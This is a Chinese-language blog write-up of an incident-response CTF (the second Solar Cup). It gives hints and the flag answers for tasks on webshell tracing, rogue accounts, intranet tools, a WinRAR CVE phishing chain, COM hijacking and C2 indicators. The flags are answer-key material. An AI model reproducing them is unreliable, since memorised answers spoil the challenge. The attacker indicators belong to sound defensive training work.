7
任务名称:日志专项

任务分数:80.00

任务类型:静态Flag

审计web日志,攻击者在多次上传webshell后,最终远控使用的webshell文件是哪个,提交文件名,提交示例:flag{shell.php}

根据加载 webshell 的位置找到其他的

1
flag{6390217325293187938071651.aspx}

任务5

1
2
3
4
任务名称:木马专项
任务分数:80.00
任务类型:静态Flag
提交攻击者最终使用的webshell中key和pass,提交示例:flag{key&pass}

webshell 的 key 是 md5 加密的,解密后字符为 key

1
flag{key&solar}

任务6

1
2
3
4
任务名称:远控专项
任务分数:80.00
任务类型:静态Flag
审计系统日志,提交攻击者远控后关闭Windows defender的时间,可使用桌面\工具\FullEventLogView辅助审计,提交示例:flag{2025/1/1 12:01:01}

直接查找 Windows Defender 就能找到

1
flag{2025/12/24 12:24:07}

任务7

1
2
3
4
任务名称:远控专项
任务分数:80.00
任务类型:静态Flag
审计系统日志,提交攻击者创建的用户名及远程登录IP及时间,提交示例:flag{user&1.1.1.1&2025/1/1 12:01:01}

4720 创建用户

开始想的远程就是 rdp 然后一直找的 rdp,一直不对,后面往前翻才发现还有网络登录

1
flag{$system&192.168.70.3&2025/12/24 13:32:13}

任务8

1
2
3
4
任务名称:恶意文件排查
任务分数:80.00
任务类型:静态Flag
攻击者为了进行内网渗透,上传了内网扫描及其它恶意文件,提交文件的所在路径,提交示例:flag{C:\Windows\System32}

在 Administrator 用户下载目录下找到了 frpc 和 fscan 两个工具,一个内网代理转发工具一个扫描工具

1
flag{C:\Users\Administrator\Downloads}

任务9

1
2
3
4
任务名称:安全加固
任务分数:100.00
任务类型:静态Flag
清除攻击者用于权限维持添加的用户,清除完毕后前往C:\Users\Administrator\Desktop\flag\1.txt读取flag

1
flag{d47cab4549e08c5227d2afd5d4e1a051}

任务10

1
2
3
4
任务名称:安全加固
任务分数:100.00
任务类型:静态Flag
清除攻击者上传的所有webshell,清除完毕后前往C:\Users\Administrator\Desktop\flag\2.txt读取flag

删除所有 webshell

1
flag{31527b4001257a29c68c357a15376e59}

任务11

1
2
3
4
任务名称:安全加固
任务分数:100.00
任务类型:静态Flag
清除攻击者上传的所有恶意文件,清除完毕后前往C:\Users\Administrator\Desktop\flag\3.txt读取flag

把那两个工具删了就可以了

1
flag{42a996202210e8572eebae2968f393db}

任务12

1
2
3
4
任务名称:内网渗透排查
任务分数:80.00
任务类型:静态Flag
开始排查Ubuntu(DMZ2)环境,通过前面排查的内网扫描结果以及攻击者上传的工具,攻击者对于内网机器Ubuntu(DMZ2)进行了漏洞利用,根据相关线索本地访问相关端口,攻击者为了权限维持,后期进行获取更多信息,提交攻击者在web端新增的账号,提交示例:flag{user}

查看开放端口,有一个 8848 端口,nacos 服务默认端口

访问 nacos 服务登录后发现存在另一个 system 用户

1
flag{system}

任务13

1
2
3
4
5
6
7
任务名称:内网渗透排查

任务分数:80.00

任务类型:静态Flag

攻击者在web端获取到了敏感信息后获取到了终端权限,写入了隐藏用户,提交其用户名,提交示例:flag{user}

用 lastlog 查找登陆过的用户

1
flag{sys-update}

任务14

1
2
3
4
5
6
7
任务名称:安全加固

任务分数:100.00

任务类型:静态Flag

清除攻击者在web端新增的用户名后,前往/var/flag/1文件中读取flag并提交
1
flag{ad31ea22e324ee6effd454decf7477c9}

任务15

1
2
3
4
5
6
7
任务名称:安全加固

任务分数:100.00

任务类型:静态Flag

清除攻击者在服务器新增的用户名所有信息,前往/var/flag/2文件中读取flag并提交

把 /var/tmp/.sys 目录和 /etc/passwd,/etc/shadow 中关于 sys-update 的都删完

1
flag{85fdb55f08925b3ae7149e869124f2c4}

任务16

1
2
3
4
5
6
7
任务名称:安全加固

任务分数:100.00

任务类型:静态Flag

当前web端存在漏洞,先停止此web服务进程后,前往/var/flag/3文件中读取flag并提交

kill web 服务

1
flag{163e32607debcc6091e993929afe8064}

任务17

1
2
3
4
5
6
7
任务名称:安全加固

任务分数:100.00

任务类型:静态Flag

攻击者通过web漏洞拿到了root账号密码,请修改密码后,前往/var/flag/4文件中读取flag并提交

passwd root

1
flag{2d1848c8560becac27d30a5d4daf6da3}

应急溯源

任务1

1
2
3
4
5
6
7
任务名称:钓鱼链接地址

任务分数:100.00

任务类型:静态Flag

确认恶意网页地址。

看 edge 历史浏览记录

1
flag{http://www.goog1e.com.cn}

任务2

1
2
3
4
5
6
7
任务名称:漏洞识别

任务分数:100.00

任务类型:静态Flag

确认该事件中被利用的漏洞编号(CVE) 格式flag{CVE-xxxx-xxxx}

High-severity WinRAR 0-day exploited for weeks by 2 groups - Ars Technica winrar 的相关漏洞

1
flag{CVE-2025-8088}

任务3

1
2
3
4
5
6
7
任务名称:应用版本

任务分数:100.00

任务类型:静态Flag

确定存在漏洞的应用版本,flag{x.xx.x}

查看 WinRAR 的版本

1
flag{7.12.0}

任务4

1
2
3
4
任务名称:触发点
任务分数:100.00
任务类型:静态Flag
定位钓鱼文件(以主机证据为准,提交无后缀文件名)。flag格式:flag{钓鱼恶意文件名}

看下载的文件

1
flag{GoogleUpdate}

任务5

1
2
3
4
任务名称:劫持手法与位置
任务分数:200.00
任务类型:静态Flag
确定本事件使用的劫持/加载手法类型,并提交“被劫持的位置”(注册表键路径),flag格式:flag{HKCU\xxxxx}

根据这个 CVE 会加载 dll 文件排查

1
flag{HKCU\SOFTWARE\Classes\CLSID\{1299CF18-C4F5-4B6A-BB0F-2299F0398E27}\InprocServer32}

任务6

1
2
3
4
任务名称:二阶段落地文件
任务分数:100.00
任务类型:静态Flag
确定二阶段落地文件最终路径(精确到文件名)。flag格式:flag{落地文件完整路径}

加载的 dll,路径在注册表里可以看到

1
flag{C:\Users\setadmin\AppData\Local\Microsoft\Edge\User Data\msedge.dll}

任务7

1
2
3
4
任务名称:任务7
任务分数:100.00
任务类型:静态Flag
确认该事件使用的回连通信类型(只写一个词)。flag类型:flag{c2_type}
1
flag{http}

任务8

1
2
3
4
任务名称:远控木马回连目的地
任务分数:100.00
任务类型:静态Flag
确定回连目的地(IP:Port),flag格式为:flag{ip:port}

丢到沙箱看网络行为

直接在机器里运行一下 dll 文件,然后用 netstat -an 也可以看到外联的,但是过会儿就看不见了

1
flag{192.168.0.144:82}

第二届Solar杯应急响应挑战赛WP
http://example.com/2025/12/31/第二届Solar杯应急响应挑战赛WP/
作者
butt3rf1y
发布于
2025年12月31日
许可协议